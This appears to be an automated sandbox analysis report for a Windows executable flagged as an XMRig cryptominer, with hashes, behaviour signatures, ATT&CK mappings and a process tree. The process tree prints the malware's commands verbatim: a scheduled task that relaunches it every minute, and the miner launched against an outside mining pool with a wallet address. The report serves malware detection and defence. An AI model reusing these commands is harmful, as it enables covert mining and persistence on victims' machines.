Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240611-en
  • resource tags

    arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    14-06-2024 11:43

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General

  • Target

    d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe

  • Size

    9.0MB

  • MD5

    2d927fdb462570728a981443bf36d19f

  • SHA1

    eb4f351d937729b14a196bf228ba12a2ff07e73e

  • SHA256

    d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

  • SHA512

    efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9

  • SSDEEP

    196608:rhHMBGC3PtXtT+Was8/wq1wo9JoYx5JAMdJOnZTG1IvQSaKe6NZOn:r2G02wuwasMdJOnZKVSaaNZOn

Score
10/10
xmrigminerpersistenceupx

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • XMRig Miner payload 8 IoCs
    miner
  • Executes dropped EXE 3 IoCs
  • UPX packed file 10 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Kills process with taskkill 1 IoCs
    evasion
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
    "C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Checks for VirtualBox DLLs, possible anti-VM trick
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3152
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe /F
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2236
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe /F
        3⤵
        • Creates scheduled task(s)
        PID:3256
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /im spreadTpqrst.exe&&exit
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3272
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /im spreadTpqrst.exe
        3⤵
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:3496
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ipconfig /flushdns
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4388
      • C:\Windows\SysWOW64\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • Gathers network information
        PID:2968
    • C:\ProgramData\spreadTpqrst.exe
      C:\ProgramData\spreadTpqrst.exe -o stratum+tcp://auto.c3pool.org:19999 -u 44eVhmxJhpzhk8bN8hWUCPCR2YD4dBqgMhyNn2kkMXEWd7XsZtBnhVHiEZqUxUrN35EdEo3P7WsPajPhgLKka78jHd2dTo4 -p X --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4824
    • C:\ProgramData\SMB.exe
      C:\ProgramData\SMB.exe
      2⤵
      • Executes dropped EXE
      PID:4652
  • C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
    C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
    1⤵
    • Executes dropped EXE
    • Checks for VirtualBox DLLs, possible anti-VM trick
    PID:5472

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1
T1053

Command and Scripting Interpreter

1
T1059

Persistence

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Privilege Escalation

Boot or Logon Autostart Execution

1
T1547

Registry Run Keys / Startup Folder

1
T1547.001

Scheduled Task/Job

1
T1053

Defense Evasion

Modify Registry

1
T1112

Credential Access

Discovery

Query Registry

2
T1012

Peripheral Device Discovery

1
T1120

System Information Discovery

4
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

  • C:\ProgramData\SMB.exe
    Filesize

    3.1MB

    MD5

    7b2f170698522cd844e0423252ad36c1

    SHA1

    303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5

    SHA256

    5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994

    SHA512

    7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

    Download Submit
  • C:\ProgramData\X64.dll
    Filesize

    85KB

    MD5

    91f4a7052d4b4cb17a1ce6fdc3f0c9f9

    SHA1

    9e11f545485fceb4138a4b7deb2279d09a22e567

    SHA256

    bff048ff24a89e6aeab9ec4fb91a884896cb0a89994cd44825a987cb26b15bcb

    SHA512

    5f94dc85dc5f323d74bc69587ecb1990700e7405ebda98b32d29269a1be995acf6fa83f131ab5968eb9c47824d344c4e15532374ad872341c7dec04d5105ce86

    Download Submit
  • C:\ProgramData\X86.dll
    Filesize

    71KB

    MD5

    593009be971d5b37fc67fca6c4c0351f

    SHA1

    3ed22a48e8b185be2321dd4771ae7310fef810f6

    SHA256

    d5f27040e1717deae4419c35bd9833b70a0ee88341e00307f169e556dc7c5ddd

    SHA512

    8d73cd8337a9a80d022701024ea61df8523b3c37dc9896bba8a448d77bfe5b64534a91a7d24ab8e3786ed75d0fa9112630d41e5200fc6b50db8afcf1549dd922

    Download Submit
  • C:\ProgramData\spreadTpqrst.exe
    Filesize

    1.3MB

    MD5

    23d84a7ed2e8e76d0a13197b74913654

    SHA1

    23d04ba674bafbad225243dc81ce7eccd744a35a

    SHA256

    ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301

    SHA512

    aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

    Download Submit
  • C:\Users\Admin\AppData\Local\Temp\d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239.exe
    Filesize

    9.0MB

    MD5

    2d927fdb462570728a981443bf36d19f

    SHA1

    eb4f351d937729b14a196bf228ba12a2ff07e73e

    SHA256

    d4d451457c40bf4dacb36cbbedc89c6dede6dba47493b472aa1450d8c9f87239

    SHA512

    efdf3b568fa07d67bb89eb8880c5140653321f9267c771045d1c7be6a6e88fd680059b779d2e4da497e0a88ff1e9adac6e293bb254e5c4dda776aafd518097c9

    Download Submit
  • memory/4824-10-0x000002A8AB6F0000-0x000002A8AB704000-memory.dmp
    Filesize

    80KB

    Download
  • memory/4824-136-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-140-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-141-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-8-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-143-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-144-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-149-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-150-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download
  • memory/4824-151-0x00007FF77FAB0000-0x00007FF7800F4000-memory.dmp
    Filesize

    6.3MB

    Download